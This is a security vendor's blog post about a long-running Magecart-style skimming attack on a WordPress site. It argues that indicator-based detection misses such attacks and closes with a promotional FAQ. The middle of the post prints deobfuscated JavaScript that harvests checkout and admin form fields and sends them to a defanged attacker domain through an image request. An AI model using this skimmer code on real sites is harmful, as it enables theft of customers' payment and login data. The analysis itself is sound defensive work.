We recently identified a Magecart-style skimming attack still active on the WordPress site intertwitter[.]com, a suspicious platform offering Twitter (X) follower packages. While this is dubious as is (buying X followers is against the TOS), more concerning is the reuse of old infrastructure and how long this attack has remained undetected in the wild.
Originally reported: Sansec, February 2024
Sansec confirms that malicious infrastructure often remains active for extended periods, sometimes even two years. Relying on the Internet police to take down rogue servers is therefore not a reliable defense strategy.
Willem de Groot - Sansec
The problem with IOC-only detection
Most security programs today still rely heavily on Indicators of Compromise (IOCs). This includes known malicious domains, IPs, hashes as the first (and often only) line of defense. While useful, this approach fails to detect threats that evolve slowly, reuse infrastructure, or operate in narrow, high-value contexts like client-side web skimming.
In this case:
- The malicious domain safecontentdelivery[.]com was flagged over a year ago.
- The same IOC was reused across multiple skimming campaigns.
- Despite being public for months, it remains active, suggesting no automated enforcement or widespread detection.
Just because an IOC is known, doesn’t mean it’s being blocked.
Attackers count on this. They recycle infrastructure, hide in less popular or sketchy websites, and bide their time until the detection window closes. After all, why reinvent the wheel?
We’ve seen this domain appear in multiple Magecart campaigns over the past year. Its longevity shows that list-based defenses are easy to outlive.
How client-side attacks hide in plain sight
Client-side attacks are notoriously difficult to detect. Not because they’re sophisticated in payload, but because they exist outside the visibility perimeter of traditional security tools.
Here’s why:
- No server-side compromise required: A single injected script (via a plugin, third-party library, or stored XSS) is enough.
- Executed only in the victim’s browser: Server logs, WAFs, and backend systems never see the malicious behavior.
- Obfuscation & evasion: These scripts use tricks like DevTools detection, overridden browser functions, and CORS-evading exfiltration to avoid analysis.
- Stealth activation logic: The script only activates on checkout or admin paths reducing exposure and avoiding attention.
Attack logic
- Trigger Condition: Activated only on URLs with /checkout or /admin.
- Targets: All form fields <input>, <select>, <textarea>.
- Exfiltrates via: new Image().src to bypass CORS.
- Destination: hxxps://csp[.]safecontentdelivery[.]com/app/panel/app.php.
- Anti-Analysis: Obfuscation, JSON tampering, and browser inspection detection.
Deobfuscated payload:
if (/checkout|admin/i.test(location.href)) {
const fields = document.querySelectorAll("input, select, textarea");
const data = {};
fields.forEach(field => {
const name = field.name || field.id;
const value = field.tagName === "SELECT"
? field.options[field.selectedIndex].text
: field.value;
if (name && value) data[name] = value;
});
const exfilUrl = `hxxps://csp[.]safecontentdelivery[.]com/app/panel/app.php?rnd=${Math.random() * 1e7}&data=${btoa(JSON.stringify(data))}&loc=${btoa(location.href)}`;
new Image().src = exfilUrl;
}How secure your business
Relying on IOCs alone is reactive. To defend against modern threats especially on the client side you need:
- Behavioral analysis: Detect patterns like credential/form scraping, suspicious script injection, and dynamic DOM changes.
- Runtime JavaScript monitoring: Use tools that analyze how scripts behave in real-time in the browser.
- Supply chain hygiene: Minimize third-party dependencies and use subresource integrity (SRI) where possible.
- Content Security Policies (CSP): Restrict what scripts can run and where they can send data.
- Regular browser-based scanning: Use tools like urlscan.io, headless Chrome scripts, or commercial web threat monitors to analyze what users actually experience.
For all of the above you can count on cside.
Q: What are Indicators of Compromise (IOCs) and why aren't they enough for cybersecurity?
IOCs are pieces of evidence that can be found in system logs, network traffic, or other data sources. They indicate a potential security breach, such as unusual network traffic, suspicious file activity, or unauthorized access attempts. The challenge with IOCs is that they are reactive, and modern attackers often change tactics, making previous IOCs less effective against new emerging threats. By doing in-depth analysis of the payload, the cside can prevent these new attacks without relying on static threat feeds.
Q: How do client-side attacks hide from traditional security tools?
Client-side attacks happen in the user's web browser, where malicious Javascript can run. Unlike traditional security tools, such as Web Application Firewalls (WAF), Static Application Security Testing (SAST), and other scanning tools that focus on network perimeters and server-side infrastructure, these attacks exploit vulnerabilities in third-party Javascript without interacting with your backend or server communication. As a result, they can slip past defenses during the crucial final interaction between your code and the user's device.
Q: What is a Magecart skimming attack and how does it work?
Magecart attacks target Magento based e-commerce sites by injecting malicious Javascript to capture credit card information during checkout. Visa reports that 70% of credit card theft now happens through a client-side method, like Magecart and eskimming. When customers enter their payment details, the malicious code executes, albeit under certain conditions, and captures this information. To the customer, the transaction appears normal, leaving them unaware that their data has been compromised.
Q: How do attackers avoid detection when using client-side scripts?
Third-party JavaScript can be heavily obscured, making them difficult to read. They often use legitimate looking domains that imitate typical website behavior. They often activate malicious code that detonates under specific conditions or hides their payload within legitimate advertising services. Allowing them to capture information from registration forms or during checkouts. Because Javascript is highly dynamic and doesn't need to interact with your server, it can remain out of sight of traditional security tools. Only if you can see the full payload can you stop a client-side attack, which is something only a full proxy can do.
Q: How can Content Security Policy (CSP) help prevent client-side attacks?
Content security policy implementation acts like an allowlist for the scripts on your website, only looking at the addresses of the scripts. When implemented, the browser blocks anything that doesn't meet those criteria. However, CSP cannot see the payload and prevent dynamic attacks that detonate under specific conditions that are geo, time, or device-related. Only if you can see the full payload can you stop a client-side attack, which is something only a full proxy can do.